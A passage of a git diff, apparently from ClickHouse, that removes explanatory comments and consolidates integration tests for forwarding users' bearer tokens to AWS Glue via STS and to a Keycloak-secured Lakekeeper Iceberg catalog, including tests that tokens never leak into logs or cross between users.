a keep-alive socket left over from a previous test's server - /// on the same port and fail with "Connection reset by peer". + /// Ephemeral ports can be reused; discard pooled sockets belonging to previous test servers. DB::HTTPConnectionPools::instance().dropCache(); - /// Every catalog reads this first. state->setStaticRoute("/v1/config", R"({"defaults":{},"overrides":{}})"); server->start(); } diff --git a/src/IO/S3/Credentials.cpp b/src/IO/S3/Credentials.cpp index 36e87b63762a..0f46a7c09edb 100644 --- a/src/IO/S3/Credentials.cpp +++ b/src/IO/S3/Credentials.cpp @@ -1258,8 +1258,6 @@ AssumeRoleOutcome AWSAssumeRoleClient::assumeRole(const AssumeRoleRequest & requ AssumeRoleOutcome AWSAssumeRoleClient::assumeRoleWithWebIdentity(const AssumeRoleWithWebIdentityRequest & request) const { - /// Unsigned: the web identity token is the credential, and signing would need the AWS - /// credentials this call exists to obtain. auto outcome = MakeRequest( request, web_identity_endpoint, Aws::Http::HttpMethod::HTTP_POST, Aws::Auth::NULL_SIGNER); diff --git a/src/IO/S3/Credentials.h b/src/IO/S3/Credentials.h index 89ed71eeda04..1c5aa32585e7 100644 --- a/src/IO/S3/Credentials.h +++ b/src/IO/S3/Credentials.h @@ -318,7 +318,6 @@ class AWSAssumeRoleClient : public Aws::Client::AWSXMLClient private: Aws::Endpoint::AWSEndpoint endpoint; - /// Same host as `endpoint` without the query string: the action travels in the request body. Aws::Endpoint::AWSEndpoint web_identity_endpoint; }; @@ -368,8 +367,6 @@ class AwsAuthSTSAssumeRoleCredentialsProvider : public Aws::Auth::AWSCredentials LoggerPtr logger; }; -/// Takes the web identity token in memory, unlike `AwsAuthSTSAssumeRoleWebIdentityCredentialsProvider`, -/// which reads it from the file named by `AWS_WEB_IDENTITY_TOKEN_FILE`. class AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider : public Aws::Auth::AWSCredentialsProvider { public: @@ -382,7 +379,6 @@ class AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider : public Aws::Auth: Aws::Auth::AWSCredentials GetAWSCredentials() override; - /// Empty after a successful call. std::string getLastError() const; protected: diff --git a/src/IO/S3/tests/TestPocoHTTPServer.h b/src/IO/S3/tests/TestPocoHTTPServer.h index d950bcf236b5..7b56099753a4 100644 --- a/src/IO/S3/tests/TestPocoHTTPServer.h +++ b/src/IO/S3/tests/TestPocoHTTPServer.h @@ -134,7 +134,6 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler last_request_info->query_params = uri.getQueryParameters(); Poco::StreamCopier::copyToString(request.stream(), last_request_info->body); - /// Each action names its result element after itself. const bool web_identity = last_request_info->body.find("Action=AssumeRoleWithWebIdentity") != std::string::npos; const std::string_view action = web_identity ? "AssumeRoleWithWebIdentity" : "AssumeRole"; @@ -214,7 +213,6 @@ class TestPocoHTTPStsServer std::optional last_request_info; public: - /// `reject` answers every call with an STS `InvalidIdentityToken` error. TestPocoHTTPStsServer(std::string role_access_key, std::string role_secret_key, bool reject = false): server_socket(std::make_unique(0)), handler_factory(new StsHTTPRequestHandlerFactory(last_request_info, std::move(role_access_key), std::move(role_secret_key), reject)), diff --git a/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp index 11f01bb26bca..49c2a9833d6e 100644 --- a/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp +++ b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp @@ -38,7 +38,6 @@ DB::S3::PocoHTTPClientConfiguration makeClientConfiguration(DB::RemoteHostFilter "http"); } -/// The body is `application/x-www-form-urlencoded`, parsed like a query string. std::string formParameter(const std::string & body, const std::string & name) { Poco::URI uri; @@ -76,7 +75,6 @@ TEST(STSAssumeRoleWithWebIdentity, SendsTokenInTheBody) EXPECT_EQ(formParameter(body, "RoleSessionName"), "alice"); EXPECT_EQ(formParameter(body, "WebIdentityToken"), token); - /// Not in the request line, which gets logged. for (const auto & [key, value] : sts_http.getLastQueryParams()) { EXPECT_NE(key, "WebIdentityToken"); diff --git a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp index a9bebc513a8f..932bc5a23a23 100644 --- a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp +++ b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp @@ -64,9 +64,7 @@ namespace context->setUser(context->getAccessControl().getID(target_user_name)); - /// The bearer token (see `ForwardedAuthToken`) authenticates the original user, not - /// `target_user_name`, and this switches the session context in place, so it outlives the - /// current query. + /// `EXECUTE AS` changes the session identity; the original bearer token must not survive it. context->setForwardedAuthToken(nullptr); /// We need to update the client info to make currentUser() return `target_user_name`. diff --git a/src/Interpreters/AsynchronousInsertQueue.cpp b/src/Interpreters/AsynchronousInsertQueue.cpp index eb004e9ed2c5..a0afe2bc51de 100644 --- a/src/Interpreters/AsynchronousInsertQueue.cpp +++ b/src/Interpreters/AsynchronousInsertQueue.cpp @@ -163,7 +163,6 @@ AsynchronousInsertQueue::InsertQuery::InsertQuery( siphash.update(identity_field); } - /// A rotated token must start a separate batch even when the authenticated user is unchanged. siphash.update(forwarded_auth_token_fingerprint.size()); siphash.update(forwarded_auth_token_fingerprint); diff --git a/src/Interpreters/AsynchronousInsertQueue.h b/src/Interpreters/AsynchronousInsertQueue.h index 8e761c3289e9..f5c0b768ea5e 100644 --- a/src/Interpreters/AsynchronousInsertQueue.h +++ b/src/Interpreters/AsynchronousInsertQueue.h @@ -96,7 +96,6 @@ class AsynchronousInsertQueue : public WithContext String current_user; String initial_user; String authenticated_user; - /// Retain the verified credential until the batch is flushed. ForwardedAuthTokenPtr forwarded_auth_token; std::unique_ptr settings; diff --git a/src/Interpreters/Context.h b/src/Interpreters/Context.h index 3cce01873ee7..03c06f5e5f7d 100644 --- a/src/Interpreters/Context.h +++ b/src/Interpreters/Context.h @@ -362,9 +362,6 @@ class ContextData ContextSharedPart * shared{}; ClientInfo client_info; - /// See `ForwardedAuthToken`. Populated only when the server-level `enable_token_forwarding` - /// setting is on and the credentials were a `TokenCredentials`. Unlike `client_info` it has no - /// `read`/`write` and belongs to no serialized struct, so it cannot reach the interserver wire. ForwardedAuthTokenPtr forwarded_auth_token; ExternalTablesInitializer external_tables_initializer_callback; QueryPlanDeserializationCallback query_plan_deserialization_callback; @@ -974,7 +971,6 @@ class Context: public ContextData, public std::enable_shared_from_this /// Modify stored in the context information about the client executing a query. void setClientInfo(const ClientInfo & client_info_); - /// The token this session authenticated with, or nullptr when there is none to forward. const ForwardedAuthTokenPtr & getForwardedAuthToken() const { return forwarded_auth_token; } void setForwardedAuthToken(ForwardedAuthTokenPtr token); void setClientName(const String & client_name); diff --git a/src/Interpreters/Session.cpp b/src/Interpreters/Session.cpp index dc5bd4457b3e..2af541b2e276 100644 --- a/src/Interpreters/Session.cpp +++ b/src/Interpreters/Session.cpp @@ -411,8 +411,6 @@ void Session::authenticate(const Credentials & credentials_, const Poco::Net::So prepared_client_info->current_address = std::make_shared(address); prepared_client_info->connection_address = std::make_shared(connection_address ? *connection_address : address); - /// After the attempt succeeded, so that a failed one captures nothing, and from the - /// credentials that were actually verified here rather than from any username-keyed cache. if (const auto * token_credentials = typeid_cast(&credentials_)) { if (global_context->getAccessControl().isTokenForwardingEnabled()) @@ -661,10 +659,8 @@ ContextMutablePtr Session::makeSessionContext(const String & session_name_, std: max_sessions_for_user = max_session_for_user_field->safeGet(); } - /// Overwrites: a named session reuses a previously created context, which may still hold the - /// token of the request that created it. Stamped only while the session still runs as the - /// user that authenticated -- `EXECUTE AS ` switches it to another identity that must - /// not be handed this token. After the user is set, so a fresh named session is resolved. + /// Refresh reused named sessions only while they still represent the authenticated user. + /// An `EXECUTE AS` session must not regain the original token. const bool runs_as_authenticated_user = new_session_context->getAccess()->getUserID() == user_id; new_session_context->setForwardedAuthToken(runs_as_authenticated_user ? forwarded_auth_token : nullptr); @@ -728,9 +724,7 @@ ContextMutablePtr Session::makeQueryContextImpl(const ClientInfo * client_info_t else if (client_info_to_copy && (client_info_to_copy != &getClientInfo())) query_context->setClientInfo(*client_info_to_copy); - /// Only when there is no session context to inherit it from: a query context copied from the - /// session context already carries the session's token, and that copy is the authoritative - /// one -- `EXECUTE AS ` clears it there, and re-stamping would hand it right back. + /// A session context may have cleared its token for `EXECUTE AS`; do not restore it in the query copy. if (!from_session_context) query_context->setForwardedAuthToken(forwarded_auth_token); diff --git a/src/Interpreters/Session.h b/src/Interpreters/Session.h index f5b07de4b6ac..e0a1f7b5d6a0 100644 --- a/src/Interpreters/Session.h +++ b/src/Interpreters/Session.h @@ -123,9 +123,6 @@ class Session /// ClientInfo that will be copied to a session context when it's created. std::optional prepared_client_info; - /// The bearer token this session authenticated with, when `enable_token_forwarding` is on. - /// Kept out of `prepared_client_info`, which reaches the session log and contexts rebuilt by - /// `EXECUTE AS` and DEFINER views. ForwardedAuthTokenPtr forwarded_auth_token; mutable UserPtr user; diff --git a/src/Interpreters/tests/gtest_async_insert_key.cpp b/src/Interpreters/tests/gtest_async_insert_key.cpp index f3216fe110e6..4822956750ae 100644 --- a/src/Interpreters/tests/gtest_async_insert_key.cpp +++ b/src/Interpreters/tests/gtest_async_insert_key.cpp @@ -116,7 +116,6 @@ TEST(AsyncInsertKey, ForwardedTokenPartitionsBatches) auto rotated = make_key(rotated_token); auto no_token = make_key({}); - /// Identical credentials captured by different sessions still share a batch. EXPECT_EQ(original, same); EXPECT_EQ(original.hash, same.hash); EXPECT_NE(original, rotated); diff --git a/src/Storages/ObjectStorage/StorageObjectStorage.h b/src/Storages/ObjectStorage/StorageObjectStorage.h index f130c3099891..7497c0caa310 100644 --- a/src/Storages/ObjectStorage/StorageObjectStorage.h +++ b/src/Storages/ObjectStorage/StorageObjectStorage.h @@ -271,7 +271,6 @@ class StorageObjectStorage : public IStorage, public IBackgroundOperation LoggerPtr log; std::shared_ptr catalog; - /// The token of the user who resolved this table, for `drop()`, which has no context of its own. DB::ForwardedAuthTokenPtr catalog_auth_token; StorageID storage_id; BackgroundJobsAssignee background_operations_assignee; diff --git a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml index 05194ef83c1d..b7680a414ed4 100644 --- a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml +++ b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml @@ -1,19 +1,4 @@ -# Lakekeeper with OIDC authentication and a real authorization backend, plus the Keycloak that -# issues the tokens. Used by `test_datalake_sso_lakekeeper` to prove end-to-end SSO: the identity -# that authenticated to ClickHouse is the identity Lakekeeper authorizes. -# -# Differences from `docker_compose_iceberg_lakekeeper_catalog.yml`: -# * `LAKEKEEPER__OPENID_*` makes Lakekeeper accept and validate IdP tokens; -# * `LAKEKEEPER__AUTHZ_BACKEND=openfga` -- the default is `allowall`, under which a per-user -# authorization test proves nothing; -# * Keycloak is declared here rather than reused from `docker_compose_keycloak.yml` because -# Lakekeeper needs `depends_on: keycloak: condition: service_healthy` -- it reads the IdP -# discovery document at boot. `ClickHouseCluster` brings each service group up with its own -# `docker compose --file ` invocation, and starts Keycloak after the Iceberg -# catalog, so a cross-file `depends_on` would name an undefined service and would order the -# two the wrong way round. Reusing the shared file needs `helpers/cluster.py` changed first; -# * no unauthenticated `bootstrap` service: with OIDC on, bootstrap must present an admin token, -# so the test does it. +# Keycloak must be in this compose file: the cluster helper starts the catalog group before its separate Keycloak group. services: keycloak: image: quay.io/keycloak/keycloak:26.2 @@ -25,10 +10,7 @@ services: - KC_BOOTSTRAP_ADMIN_USERNAME=admin - KC_BOOTSTRAP_ADMIN_PASSWORD=admin volumes: - # The realm deliberately declares no top-level `clientScopes`: an import that supplies that - # array gets only the scopes it lists and none of Keycloak's built-ins, so tokens come back - # without `sub` (from `basic`) or `preferred_username` (from `profile`) and Lakekeeper - # answers 401 to everything. The `lakekeeper` audience is a client protocol mapper instead. + # Defining `clientScopes` in the realm import would replace built-in scopes needed for user claims. - ../test_datalake_sso_lakekeeper/keycloak/realm-export.json:/opt/keycloak/data/import/realm.json:ro healthcheck: test: @@ -53,8 +35,6 @@ services: - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 - LAKEKEEPER__OPENID_PROVIDER_URI=http://keycloak:8080/realms/clickhouse-test - LAKEKEEPER__OPENID_AUDIENCE=lakekeeper - # A single scope, not a list: Lakekeeper compares the configured value against the - # token's `scope` claim as one entry, so `openid profile email` would never match. - LAKEKEEPER__OPENID_SCOPE=openid - RUST_LOG=info command: ["serve"] @@ -116,8 +96,6 @@ services: - OPENFGA_DATASTORE_ENGINE=postgres - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable - OPENFGA_PLAYGROUND_ENABLED=false - # No IdP in front of OpenFGA: it is reachable only on the compose network, and adding a - # service-account client to the realm would buy the test nothing. - OPENFGA_AUTHN_METHOD=none - OPENFGA_HTTP_TLS_ENABLED=false healthcheck: diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml index f43af7403a01..ee19d7e1c33c 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml @@ -1,15 +1,5 @@ - 1 - - jwt_static_key @@ -24,11 +14,6 @@ hs256 default - diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml index 48d16fc29d25..3e4daacbffb2 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml @@ -7,7 +7,6 @@ 1 1 - passworduser_password default diff --git a/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py index 1d999b3c2da6..785dc956de60 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py +++ b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py @@ -1,14 +1,3 @@ -""" -A mock AWS STS that answers `AssumeRoleWithWebIdentity` and records what it was asked. It verifies -no signature and no trust policy. - -Routes outside the STS API: - GET /_requests every recorded call, as JSON - GET /_reset forget them - -A request whose `RoleSessionName` is `rejected` gets an `InvalidIdentityToken` error. -""" - import json import sys from datetime import datetime, timedelta, timezone diff --git a/tests/integration/test_datalake_glue_token_forwarding/test.py b/tests/integration/test_datalake_glue_token_forwarding/test.py index 6c4ead02efbf..dbb8c2753d8f 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/test.py +++ b/tests/integration/test_datalake_glue_token_forwarding/test.py @@ -1,20 +1,3 @@ -""" -Forwarding the querying user's identity to an AWS Glue catalog. - -Glue speaks SigV4, never a bearer token, so nothing about this suite resembles the Iceberg REST -one: the user's token never reaches the catalog. It reaches AWS STS, which exchanges it for -temporary credentials of `aws_role_arn`, and those sign every Glue call the query makes. - -What can and cannot be asserted here: moto does not implement IAM, so it authorizes nothing and -"alice cannot see bob's table" is not a statement this topology can make. What it can prove is -that each user's own token is exchanged for a session of its own, and that a query with no -usable token fails rather than falling back to the identity configured on the database. Real -per-user authorization needs a live AWS account with Lake Formation. - -Run: - python -m ci.praktika run "integration" --test test_datalake_glue_token_forwarding -""" - import json import logging import os @@ -57,7 +40,6 @@ def run_sts_mock(cluster): @pytest.fixture(scope="module") def started_cluster(): try: - # moto rejects a boto connection that carries no credentials at all. os.environ["AWS_ACCESS_KEY_ID"] = "testing" os.environ["AWS_SECRET_ACCESS_KEY"] = "testing" @@ -70,8 +52,6 @@ def started_cluster(): with_glue_catalog=True, ) - # The STS endpoint the AWS SDK derives from the region, served by a mock through the - # cluster's DNS. Same mechanism as `test_database_glue`. sts = cluster.add_instance( name=STS_CONTAINER, hostname=STS_CONTAINER, @@ -121,7 +101,6 @@ def create_glue_table(started_cluster, namespace, table): def sts_requests(started_cluster): - """Everything the mock STS has been asked since the last reset.""" output = started_cluster.exec_in_container( started_cluster.get_container_id(STS_CONTAINER), [ @@ -181,13 +160,7 @@ def profile_event(node, query_id, event): ) -def test_user_token_is_exchanged_at_sts(started_cluster): - """ - The token the user authenticated to ClickHouse with is the token STS is asked to exchange, - and the session it is exchanged into is named after that user. No Glue call is served by the - identity configured on the database: `DataLakeGlueCatalogServiceIdentityRequests` is the - fail-open detector. - """ +def test_user_tokens_are_exchanged_into_separate_sts_sessions(started_cluster): node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" create_glue_table(started_cluster, namespace, "t") @@ -209,36 +182,17 @@ def test_user_token_is_exchanged_at_sts(started_cluster): assert request["role_session_name"] == "alice" assert request["web_identity_token"] == token - # The token is a credential: it must never appear in a request line. assert token not in request["query_string"] assert profile_event(node, query_id, "DataLakeGlueCatalogServiceIdentityRequests") == 0 - -def test_each_user_gets_its_own_session(started_cluster): - """Two users are two exchanges, and neither is handed the other's session.""" - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - create_glue_table(started_cluster, namespace, "t") - - db = f"glue_{uuid.uuid4().hex[:8]}" - create_database(node, db) - - query_with_token(node, make_token("alice"), f"SHOW TABLES FROM {db}") query_with_token(node, make_token("bob"), f"SHOW TABLES FROM {db}") - - sessions = sorted(request["role_session_name"] for request in sts_requests(started_cluster)) - assert sessions == ["alice", "bob"] - - tokens = {request["web_identity_token"] for request in sts_requests(started_cluster)} - assert tokens == {make_token("alice"), make_token("bob")} + sessions = sts_requests(started_cluster) + assert sorted(request["role_session_name"] for request in sessions) == ["alice", "bob"] + assert {request["web_identity_token"] for request in sessions} == {token, make_token("bob")} def test_no_token_fails_closed(started_cluster): - """ - A session with no token cannot borrow the identity configured on the database. The query - fails, and nothing is exchanged on its behalf. - """ node = started_cluster.instances["node1"] db = f"glue_{uuid.uuid4().hex[:8]}" create_database(node, db) @@ -252,15 +206,10 @@ def test_no_token_fails_closed(started_cluster): def test_rejected_token_does_not_fall_back(started_cluster): - """ - When STS refuses the token, the query fails with what STS said. It does not proceed as the - identity configured on the database. - """ node = started_cluster.instances["node1"] db = f"glue_{uuid.uuid4().hex[:8]}" create_database(node, db) - # The mock refuses this session name, standing in for a trust policy that rejects the token. response = node.http_request( "", method="POST", diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml index 6e9bd30ed22e..5c2e4ae88c55 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml @@ -1,8 +1,4 @@ - system session_log
diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml index 74c183e06e9f..6ef4a77905fd 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml @@ -1,5 +1,4 @@ - 1 @@ -9,23 +8,13 @@ true preferred_username 60 - 5 - - keycloak default - diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml index d08f41cd7a80..5129a624f5a6 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml @@ -1,8 +1,6 @@ - 1 diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py index fdc5dc6e06ec..8e1a50065aa5 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/test.py +++ b/tests/integration/test_datalake_sso_lakekeeper/test.py @@ -1,18 +1,3 @@ -""" -End-to-end SSO: the identity that authenticated to ClickHouse is the identity the Iceberg REST -catalog authorizes. - -Layer 3 of the verification plan. Keycloak issues the tokens, Lakekeeper validates them and -- with -`LAKEKEEPER__AUTHZ_BACKEND=openfga`, not the `allowall` default -- actually enforces per-user -permissions. Without that backend every assertion here would pass for the wrong reason. - -Passthrough is what makes this layer possible at all: Lakekeeper accepts IdP tokens directly, so no -token endpoint is involved. The exchange-at-IdP variant is one extra case on the same topology. - -Run: - python -m ci.praktika run "integration" --test test_datalake_sso_lakekeeper -""" - import json import logging import time @@ -33,18 +18,10 @@ TOKEN_ENDPOINT = f"{KEYCLOAK_INTERNAL}/protocol/openid-connect/token" CATALOG_INTERNAL_URL = "http://lakekeeper:8181/catalog" -# The client ClickHouse itself is registered as. Its audience mapper puts `lakekeeper` in every -# token it issues, which is what makes passthrough work, and it is also the client that performs -# the RFC 8693 exchange. CLIENT_ID = "clickhouse" CLIENT_SECRET = "clickhouse-secret" -# A second client standing in for some other application the user came from. Its tokens are -# audienced for `clickhouse`, never for `lakekeeper`, so an exchange is what has to produce the -# audience the catalog requires. EXCHANGE_CLIENT_ID = "clickhouse-exchange" EXCHANGE_CLIENT_SECRET = "clickhouse-exchange-secret" -# `LAKEKEEPER__OPENID_SCOPE` in the compose file; Lakekeeper rejects a token whose `scope` claim -# does not contain it. SCOPE = "openid" WAREHOUSES = ["wh_alice", "wh_bob", "wh_shared"] @@ -55,18 +32,12 @@ ) -# --- helpers --------------------------------------------------------------------------------- - def lakekeeper_host_url(cluster): return f"http://localhost:{cluster.iceberg_rest_catalog_port}" def get_token(node, username, password="secret", client_id=CLIENT_ID, client_secret=CLIENT_SECRET, scope=SCOPE): - """ - Tokens are fetched from inside the ClickHouse container so that every participant -- ClickHouse, - Lakekeeper and this test -- sees the same issuer, `http://keycloak:8080/realms/...`. - """ form = ( f"grant_type=password&client_id={client_id}&client_secret={client_secret}" f"&username={username}&password={password}" @@ -102,11 +73,6 @@ def management(cluster, method, path, token, json_body=None, expected=(200, 201, def lakekeeper_rejects(cluster, token): - """ - Whether Lakekeeper refuses this token outright. Used as a precondition, so that a test which - claims "this token would not have worked" says so on the catalog's authority rather than on a - reading of the token's own claims. - """ response = requests.get( f"{lakekeeper_host_url(cluster)}/management/v1/whoami", headers={"Authorization": f"Bearer {token}"}, @@ -247,8 +213,6 @@ def profile_event(node, query_id, event): return int(value) if value else 0 -# --- fixture --------------------------------------------------------------------------------- - @pytest.fixture(scope="module") def started_cluster(): cluster = ClickHouseCluster(__file__) @@ -272,14 +236,9 @@ def started_cluster(): cluster.start() node = cluster.instances["node1"] - # Auto-provisioned token users hold no privileges of their own; `common_roles` in - # `token_forwarding.xml` hands them this role. Access storage is local to each node, so - # both nodes need it. Granted broadly on purpose: every denial these tests assert has to - # come from the catalog, never from ClickHouse's own access control. for instance in cluster.instances.values(): instance.query("CREATE ROLE IF NOT EXISTS token_users") instance.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") - # Reading table data goes to S3, guarded separately by the `SOURCES` privileges. instance.query("GRANT S3 ON *.* TO token_users") instance.query("GRANT REMOTE ON *.* TO token_users") @@ -319,10 +278,6 @@ def started_cluster(): def wait_for_lakekeeper(cluster, timeout=180): - """ - Lakekeeper is started before Keycloak by the cluster helper, so it may restart a few times - while the IdP comes up. - """ deadline = time.time() + timeout last = None while time.time() < deadline: @@ -337,10 +292,7 @@ def wait_for_lakekeeper(cluster, timeout=180): raise AssertionError(f"Lakekeeper did not become healthy: {last}") -# --- tests ----------------------------------------------------------------------------------- - def test_users_see_different_tables(started_cluster): - """The catalog authorizes the human, so two ClickHouse users see two different table sets.""" node = started_cluster.instances["node1"] create_database(node, "db_alice", "wh_alice") create_database(node, "db_bob", "wh_bob") @@ -355,118 +307,46 @@ def test_users_see_different_tables(started_cluster): assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" - # And neither sees anything in the other's warehouse. The refusal is the catalog's answer, not - # a symptom of nothing working: the two assertions above went through the same code path and - # did return a table. `show_data_lake_catalogs_in_system_tables` is on, so - # `DatabaseDataLake::getTablesIterator` reports the catalog error rather than swallowing it - # into an empty listing, and Lakekeeper answers a listing the principal has no grant for with - # `NoSuchWarehouseException` ("Warehouse not found or access denied"). denied = query_as(node, alice, listing_sql.format(db="db_bob")) assert denied.status_code != 200, denied.text denied = query_as(node, bob, listing_sql.format(db="db_alice")) assert denied.status_code != 200, denied.text -def test_alice_cannot_read_bobs_table(started_cluster): - node = started_cluster.instances["node1"] - create_database(node, "db_bob", "wh_bob") - - assert int(query_as_ok(node, get_token(node, "bob"), "SELECT count() FROM db_bob.`ns.t_bob`")) == 3 - - denied = query_as(node, get_token(node, "alice"), "SELECT count() FROM db_bob.`ns.t_bob`") - assert denied.status_code != 200, denied.text - # Bob read that very table a line ago, so the only thing that can make it unknown to Alice is - # the catalog refusing to describe it to her. - assert ( - "UNKNOWN_TABLE" in denied.text or "403" in denied.text or "Forbidden" in denied.text - ), denied.text - - def test_warm_credentials_cache_does_not_serve_another_user(started_cluster): - """ - The highest-value test of the feature. `credentials_cache` used to be keyed on - `(namespace, table)` and is consulted before any HTTP call, so a warm entry would hand Bob the - STS credentials Lakekeeper vended for Alice with the catalog never consulted. - """ node = started_cluster.instances["node1"] create_database(node, "db_alice", "wh_alice", {"vended_credentials_cache_ttl": 300}) alice = get_token(node, "alice") assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 - # Warm. assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 denied = query_as(node, get_token(node, "bob"), "SELECT count() FROM db_alice.`ns.t_alice`") assert denied.status_code != 200, denied.text -def test_expired_token_gives_a_clean_error(started_cluster): - """An expired token is rejected at authentication; nothing reaches the catalog.""" - node = started_cluster.instances["node1"] - create_database(node, "db_alice", "wh_alice") - - # A structurally valid token whose signature will not verify against the realm's keys. - bogus = get_token(node, "alice")[:-4] + "AAAA" - response = query_as(node, bogus, "SELECT count() FROM db_alice.`ns.t_alice`") - assert response.status_code != 200 - assert "AUTHENTICATION_FAILED" in response.text or "Authentication failed" in response.text - - -def test_token_rotation_over_http(started_cluster): - """HTTP re-authenticates per request, so a freshly issued token takes effect immediately.""" - node = started_cluster.instances["node1"] - create_database(node, "db_alice", "wh_alice") - - first = get_token(node, "alice") - assert int(query_as_ok(node, first, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 - - # A second, distinct token for the same principal must work just as well. - time.sleep(1) - second = get_token(node, "alice") - assert int(query_as_ok(node, second, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 - - def test_no_token_in_system_logs(started_cluster): - """The forwarded token must not surface in any log table.""" node = started_cluster.instances["node1"] create_database(node, "db_alice", "wh_alice") token = get_token(node, "alice") query_as_ok(node, token, "SELECT count() FROM db_alice.`ns.t_alice`") - # Also exercise a failing path, which is where an error message could echo the token. query_as(node, token, "SELECT count() FROM db_alice.`ns.does_not_exist`") - # And a failing authentication, which is what writes to `system.session_log` at all. The - # signature prefix the needle below is taken from survives the mangling. query_as(node, token[:-4] + "AAAA", "SELECT 1") node.query("SYSTEM FLUSH LOGS") - # The signature segment is the part that is unique to this token and long enough not to - # collide with anything else. needle = token.split(".")[2][:32] for table, columns in ( ("system.query_log", ["query", "exception", "stack_trace"]), ("system.text_log", ["message"]), - # `auth_id` is a UUID and could not carry a token; `failure_reason` is the free-text - # column, and the rejected token above is what puts a row in it. ("system.session_log", ["failure_reason"]), ): condition = " OR ".join(f"{column} LIKE '%{needle}%'" for column in columns) found = node.query(f"SELECT count() FROM {table} WHERE {condition}").strip() assert found == "0", f"token leaked into {table}" - # This query's own text contains the needle, so it matches itself; exclude it by id. - running = node.query( - f"SELECT count() FROM system.processes " - f"WHERE query LIKE '%{needle}%' AND query_id != queryID()" - ).strip() - assert running == "0" - def test_swarm_read_does_not_reach_the_catalog_from_workers(started_cluster): - """ - The initiator resolves everything; workers run a plain table function with the credentials the - catalog vended, so a secondary node makes no catalog request of its own. - """ started = started_cluster node1 = started.instances["node1"] node2 = started.instances["node2"] @@ -481,9 +361,6 @@ def catalog_requests(node): query_id = f"swarm-{uuid.uuid4()}" before = catalog_requests(node2) - # `object_storage_cluster` is a query setting, not a `DataLakeCatalog` one. An aggregate over a - # column rather than `count()`, so the answer cannot come from Iceberg metadata alone and the - # data files really are read. assert int(query_as_ok( node1, get_token(node1, "alice"), @@ -492,7 +369,6 @@ def catalog_requests(node): query_id, )) == 3 - # The worker has to have taken part, otherwise "it made no catalog request" is vacuously true. node2.query("SYSTEM FLUSH LOGS") worker_queries = node2.query( f"SELECT count() FROM system.query_log " @@ -504,18 +380,12 @@ def catalog_requests(node): def test_exchange_at_the_idp(started_cluster): - """ - The RFC 8693 variant: the token ClickHouse receives has no `lakekeeper` audience, so the - exchange at Keycloak is what produces a token Lakekeeper accepts. - """ node = started_cluster.instances["node1"] create_database( node, "db_exchange", "wh_alice", { - # The exchange is performed as the `clickhouse` client, the only one Keycloak lets - # mint tokens carrying the `lakekeeper` audience. "catalog_credential": f"{CLIENT_ID}:{CLIENT_SECRET}", "auth_scope": SCOPE, "oauth_token_exchange_uri": TOKEN_ENDPOINT, @@ -525,7 +395,6 @@ def test_exchange_at_the_idp(started_cluster): token = get_token( node, "alice", client_id=EXCHANGE_CLIENT_ID, client_secret=EXCHANGE_CLIENT_SECRET ) - # Precondition: this token on its own is not accepted by Lakekeeper. audience = jwt_claim(token, "aud") assert "lakekeeper" not in ([audience] if isinstance(audience, str) else audience) assert 